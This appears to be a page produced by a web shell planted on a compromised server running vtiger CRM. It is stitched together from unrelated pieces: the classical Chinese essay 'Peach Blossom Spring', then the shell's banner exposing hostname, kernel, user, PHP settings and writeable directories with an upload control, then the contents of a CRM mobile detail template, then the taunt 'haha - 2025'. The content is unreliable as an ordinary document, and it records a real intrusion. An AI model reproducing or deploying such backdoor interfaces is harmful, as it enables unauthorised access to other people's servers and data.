晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/layouts/v7/modules/Mobile/simple/Vtiger/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/layouts/v7/modules/Mobile/simple/Vtiger/Detail.tpl
{*<!--
/*************************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.1
* ("License"); You may not use this file except in compliance with the License
* The Original Code is:  vtiger CRM Commercial
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*
**************************************************************************************/
-->*}
{include file="../Header.tpl" scripts=$_scripts}
    <section class="detail-content-wrapper" ng-controller="{$_controller}">
{literal}
        <header md-page-header fixed-top>
            <md-toolbar>
                <div class="md-toolbar-tools actionbar">
                    <md-button ng-click="gobacktoUrl()" class="md-icon-button" aria-label="side-menu-open">
                        <i class="mdi mdi-arrow-left actionbar-icon"></i>
                    </md-button>
                    <h2 flex>{{pageTitle}}</h2>
                    <span flex></span>
                    <md-button class="md-icon-button" ng-if="module != 'Invoice' && module != 'SalesOrder' && module != 'Quotes' && module != 'PurchaseOrder'" ng-click="detailViewEditEvent();" aria-label="global-search">
                         <i class="mdi mdi-pencil actionbar-icon"></i>
                    </md-button>
                </div>
            </md-toolbar>
        </header>
        <md-content style="padding-top: 56px;">
            <div layout="row" style="width: 100%">
                <span style="margin: 10px 10px;" class="letter-avatar">{{record_label | limitTo:1:0}}</span>
                <span style="margin-top: 15px;">{{record_label}}</span>
            </div>
            <md-tabs md-dynamic-height md-border-bottom style="width:100%">
                <md-tab label="Details" style="width:50%">
                    <div flex class="detail-content" style="height:78vh; overflow: scroll;">
                        <div layout="column" layout-fill layout-align="top center" ng-if="fields.length">
                            <md-list style="padding: 0px;" class="fields-list" ng-controller="InlineEditorController"> <!-- infinite-scroll='loadMoreRecords()' infinite-scroll-distance='10'-->
                                <md-list-item class="md-2-line" style="padding: 0px 5px;" ng-repeat="field in recordData">
                                    <div class="md-list-item-text field-row">
                                        <div layout="row" flex>
                                            <div flex="50">
                                                <p style="text-align:right; margin-right: 10px; opacity: 0.9; color:black; font-size:14px; line-height:25px; font-weight: 400;" class="field-label">{{field.label}}
                                                </p>
                                            </div>
                                            <div flex="50">
                                                <p ng-class="{'value-empty' : !field.value || field.value==='' || field.value==='--None' || field.value==0} ">
                                                    {{field.value}}
                                                </p>
                                            </div>
                                        </div>
                                    </div>
                                </md-list-item>
                            </md-list>
                            <md-list ng-if="lineitems && (module == 'Invoice' || module == 'Quotes' || module == 'SalesOrder' || module == 'PurchaseOrder')">
                                <md-subheader style="margin:0px; padding:0px; background:beige;">Item Details</md-subheader>
                                <md-list-item class="md-2-line" ng-repeat="item in lineitems">
                                    <div layout="column" style="width: 100%;">
                                        <p style="opacity:0.8; color:#0099FF; font-size: 14px; margin: 4px 0px;">{{item.product_name}}</p>
                                        <i style="color:grey; font-size: 11px;">{{item.comment}}</i>
                                        <div layout="row" style="opacity: 0.9;">
                                            <p style="font-size: 12px; margin: 4px 0px;">{{item.quantity}} * {{item.listprice}}</p>
                                        </div>
                                        <div layout="column" flex style="opacity: 0.9">
                                            <p ng-if="item.discount_amount" style="font-size: 12px; margin: 4px 0px;" flex="100">(-) Discount Amount : {{item.discount_amount}}</p>
                                            <p ng-if="item.discount_percent"  style="font-size: 12px; margin: 4px 0px;" flex="100">(-) Discount Percentage : {{item.discount_percent}} (%)</p>
                                        </div>
                                        <div layout="row" style="text-align: right; color:darkgreen;">
                                            <p style="font-size: 12px; margin: 4px 0px; width: 100%;">{{item.netPrice}}</p>
                                        </div>
                                    </div>
                                    <md-divider></md-divider>
                                </md-list-item>
                                <md-list-item layout="column" style="font-size: 13px;">
                                    <div layout="row" style="width:100%">
                                        <p flex="50" style="text-align: left;">Items Total</p>
                                        <p flex="50" style="text-align: right; color:darkgreen;">{{lineItemsSummary.sub_total}}</p>
                                    </div>
                                    <div layout="row" style="width:100%">
                                        <p flex="50" style="text-align: left;">(-) Overall Discount</p>
                                        <p flex="50" style="text-align: right; color:darkgreen;">{{lineItemsSummary.group_discount}}</p>
                                    </div>
                                    <div layout="row" style="width:100%">
                                        <p flex="50" style="text-align: left;">Total After Discount</p>
                                        <p flex="50" style="text-align: right; color:darkgreen;">{{lineItemsSummary.totalAfterDiscount}}</p>
                                    </div>
                                    <div layout="row" style="width:100%">
                                        <p flex="50" style="text-align: left;">Pre Tax Total</p>
                                        <p flex="50" style="text-align: right; color:darkgreen;">{{lineItemsSummary.pre_tax_total}}</p>
                                    </div>
                                    <div layout="row" style="width:100%">
                                        <p flex="50" style="text-align: left;">(+) Tax</p>
                                        <p flex="50" style="text-align: right; color:darkgreen;">{{lineItemsSummary.total_tax}}</p>
                                    </div>
                                    <div layout="row" style="width:100%">
                                        <p flex="50" style="text-align: left;">Adjustment</p>
                                        <p flex="50" style="text-align: right; color:darkgreen;">{{lineItemsSummary.adjustment}}</p>
                                    </div> 
                                    <div layout="row" style="width:100%; color:#0099FF;">
                                        <p flex="50" style="text-align: left;">Grand Total</p>
                                        <p flex="50" style="text-align: right;">{{lineItemsSummary.grand_total}}</p>
                                    </div>
                                </md-list-item>
                            </md-list>
                        </div>
                        <div class="no-records-message" ng-if="!fields.length">
                            <div class="no-records">No Fields Found</div>
                        </div>
                        <div flex></div>
                    </div>
                </md-tab>
                <md-tab label="Related">
                    <div ng-if="relatedModules" style="height:75vh; overflow: scroll;">
                        <md-list-item ng-repeat="(label, info) in relatedModules" ng-click="showRelatedList(info.relatedModule)">
                            <p style="font-size: 13px;"><span style="font-size: 12px; color:#FF4068" class="vicon-{{info.relatedModule | lowercase | nospace}}"></span> &nbsp;  {{label}}</p>
                            <p style="text-align:right; color:#0099FF">{{info.count}}</p>
                            <md-divider></md-divider>
                        </md-list-item>
                    </div>
                </md-tab>
            </md-tabs>
        </md-content>
    </section>
{/literal}

haha - 2025